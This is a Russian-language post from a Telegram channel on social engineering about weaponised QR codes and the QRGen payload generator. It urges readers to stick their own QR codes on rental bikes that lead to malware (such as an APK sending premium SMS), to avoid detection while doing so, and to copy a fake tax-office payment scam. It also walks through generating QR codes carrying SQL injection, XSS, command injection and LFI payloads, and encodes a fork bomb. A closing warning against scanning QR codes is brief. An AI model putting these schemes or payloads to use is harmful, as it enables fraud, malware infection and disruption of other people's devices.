QRgen. QR-код как средство взлома.

QRgen. QR-код как средство взлома.

Social Engineering

Привет подписчикам канала Social Engineering. Сегодня поговорим о QR кодах. Расскажу где применяются. Что можно сделать с помощью Вашего QR кода, и расскажу о тулзе QRGen.

Предисловие.

Я не буду тут расписывать что такое QR код и лить воду. Можно зайти в вики и почитать.( кстати о вики, скоро ее заблочат на территории РФ. но это не по теме и об этом я напишу во втором канале) Скажу только что QR код может хранить 7089 цифровых знаков и 4296 буквенно-цифровых, и этого более чем достаточно, чтобы вместить текст или адрес ссылки. Поехали дальше.
Представь. Ты сканируешь такой код с помощью смартфона и он направляет тебя по ссылке, на которой располагается вредоносный файл (APK или JAR). Такие коды существуют и набирают популярность. ( Ниже распишу где можно пременить ).
Тут все зависит от Вашей фантазии. Имею ввиду какой вредоносный файл вы сможете придумать. Например перейдя по ссылке. Юзер установит зловред, который будет отправлять SMS на короткий номер по 100р за 1 sms. Тут можно придумать все что угодно, это был как пример.

Social Engineering

Теперь, где применяются и как распространяются QR коды. Давайте возьмем в пример наш "Любимый" Китай. Там оплата всего на свете идет посредством QR кода. От оплаты еды и лекарств до оплаты электросамокатов и велосипедов.

Кстати если Вы живете в крупном городе, да и не только в крупном, Вы скорее всего замечали что очень часто на улице можно встретить аренду электросамокатов и велосипедов, где оплата осуществляется через мобильное приложение, а что бы скачать это мобильное приложение нужно отсканить QR код. Что Вам мешает прилепить на велосипед свой QR код ? Разумеется предпринять определенные меры безопасности что бы остаться незамеченным.

https://www.luckybike.co/ - Вот ссылка на ресурс с арендой велосипедов.

Давайте разберем другой способ.

Суть схемы такая, жертва получает письмо с требованием оплатить налоги. В качестве отправителя указана Федеральная налоговая служба, а в письме указана сумма платежа и содержится QR-код, по которому можно осуществить перевод с помощью смартфона. Злоумышленники надеются, что получивший такую бумагу пользователь поспешит заплатить, чтобы не столкнуться с пени и штрафами.

Тут можно придумать все что угодно и зависит только от Вас.

Погнали дальше.....

QRgen.

Поскольку человек не может распознать вредоносный QR-код до его фактического сканирования, относительно большая полезная нагрузка QR-кода может принести пользу хакеру, особенно в сочетании с уязвимыми устройствами. Инструмент, который мы будем использовать сегодня для их создания, называется QRGen. QRGen использует полезную нагрузку и закодирует ее в QR-код, используя Python.

Доступ к категориям полезных нагрузок, доступных в QRGen, можно получить с помощью флага -I и номера во время выполнения скрипта. Номер и тип полезной нагрузки указаны ниже:

0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Чтобы создать множество вредоносных QR-кодов для тестирования, содержащих нечеткие полезные нагрузки строк, нам нужно просто запустить  QRGen.py -l 5


Что нам потребуется:

Чтобы использовать QRGen, вам нужно установить Python3. Поскольку он кроссплатформенный, это должно быть возможно в любой операционной системе. Вам также понадобятся несколько библиотек Python, включая qrcode, Pillow и argparse, которые мы установим во время установки.

1) Установка QRGen

Чтобы начать работу с QRGen, нам нужно скачать его с GitHub . Мы сделаем это, выполнив команду ниже в окне терминала.

Код:

~$ git clone https://github.com/h0nus/QRGen

Cloning into 'QRGen'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (86/86), done.
remote: Compressing objects: 100% (78/78), done.
remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0
Unpacking objects: 100% (86/86), done.

Как только repo завершит загрузку, измените ( cd ) на его каталог и перечислите ( ls ) его содержимое, чтобы найти файл требований.

Код:

~$ cd QRGen
~/QRGen$ ls

demo.gif  qrgen.py  README.md  requirements.txt  words

Теперь вам нужно убедиться, что у нас установлены все необходимые библиотеки. Для этого запустим установочный файл с помощью следующей команды.

Код:

~/QRGen$ pip3 install -r requirements.txt

Collecting qrcode (from -r requirements.txt (line 1))
  Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1)
Collecting argparse (from -r requirements.txt (line 3))
  Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0)
Installing collected packages: qrcode, argparse
Successfully installed argparse-1.4.0 qrcode-6.1

Если это не сработает, вы также можете установить его с помощью этой альтернативной команды.

Код:

~/QRGen$ python3 -m pip install -r requirements.txt

2) Создание вредоносных QR-кодов и полезной нагрузки

Теперь вы сможете запустить скрипт, набрав python3 qrgen.py .

Код:

~/QRGen$ python3 qrgen.py

  e88 88e   888 88e    e88'Y88
d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]

Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader

optional arguments:
  -h, --help            show this help message and exit

Options for QRGen:
  --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
                        Set wordlist to use
  --wordlist WORDLIST, -w WORDLIST
                        Use a custom wordlist

Pay attention everywhere, even in the dumbest spot

Как видите, создавать полезные данные довольно просто. Для начала давайте создадим полезную нагрузку, содержащую строки формата. Для этого запустите QRGen со следующим аргументом.

Код:

~/QRGen$ python3 qrgen.py -l 5

  e88 88e   888 88e    e88'Y88
d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Будет сгенерирована серия QR-кодов, и последний из созданных откроется автоматически.

Для того, чтобы увидеть остальную часть ваших полезных нагрузок, вы можете набрать cd genqr для перехода в каталог, в котором они созданы и ls его содержимое.

Код:

~/QRGen$ cd genqr
~/QRGen/genqr$ ls

payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png
payload-18.png  payload-27.png  payload-36.png  payload-45.png

3) Кодирование пользовательских полезных нагрузок

Чтобы кодировать пользовательскую полезную нагрузку, мы можем сначала создать текстовый файл, содержащий то, что мы хотим закодировать. Каждая строка будет новой полезной нагрузкой. Для создания нового текстового файла набираем nano badstuff.txt 

Код:

~/QRGen/genqr$ nano badstuff.txt

​ В этот текстовый файл мы можем поместить нашу полезную нагрузку. Та, что ниже, - это бомба-вилка.

Код:

:(){ :|: & };:

​Мы можем сохранить его, нажав Control X , затем нажмите и Enter, чтобы подтвердить сохранение. Теперь вы должны увидеть текстовый файл, содержащий вашу полезную нагрузку.

Код:

~/QRGen/genqr$ ls

badstuff.txt    payload-18.png  payload-27.png  payload-36.png  payload-45.png
payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png

​ Чтобы записать полезную нагрузку в QR-код, мы будем использовать флаг -w . Предполагая, что ваш файл полезных данных называется «badstuff.txt», команда для этого должна выглядеть следующим образом (не забудьте заранее вернуться в каталог QRGen).

Код:

~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt'

  e88 88e   888 88e    e88'Y88
d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Для моей полезной нагрузки вилка- бомба сгенерируется QR-код , который и появится ниже .

Заключение.

Не сканируйте QR-коды без особой необходимости.

QR-коды могут содержать много информации, и могут даже быть отформатированы, чтобы заставить устройство выполнять такие действия, как подключение к сети Wi-Fi. Это делает сканирование QR-кода рискованным, поскольку у человека нет возможности прочитать информацию(возможность есть,но не все о ней знают), прежде чем подвергать ваше устройство какой-либо полезной нагрузке, содержащейся внутри. Если вы сканируете QR-код, который кажется подозрительным, обратите внимание на то, что код пытается запустить, не подключайтесь к сети Wi-Fi и не переходите по сокращенной ссылке.

Social Engineering - Канал посвященный психологии, социальной инженерии, профайлингу, НЛП, Хакингу, Анонимности и безопасности в сети интернет, Даркнету и все что с ним связано. Добро пожаловать ;-)

S.E.Book - Литература социального инженера.

@Social_Engineering_bot - Бот обратной связи.

  1. Подборка сложных приемов манипуляции сознанием.
  2. Приёмы кидал и СКАМ проектов. Обман в DarkNet.
  3. Настройка WM с подменой железа.
  4. Кевин Митник.
  5. 7 принципов манипулирования людьми и Основы психодиагностики.
  6. Учимся распознавать эмоции.
  7. Технологии управления человеком.

Report Page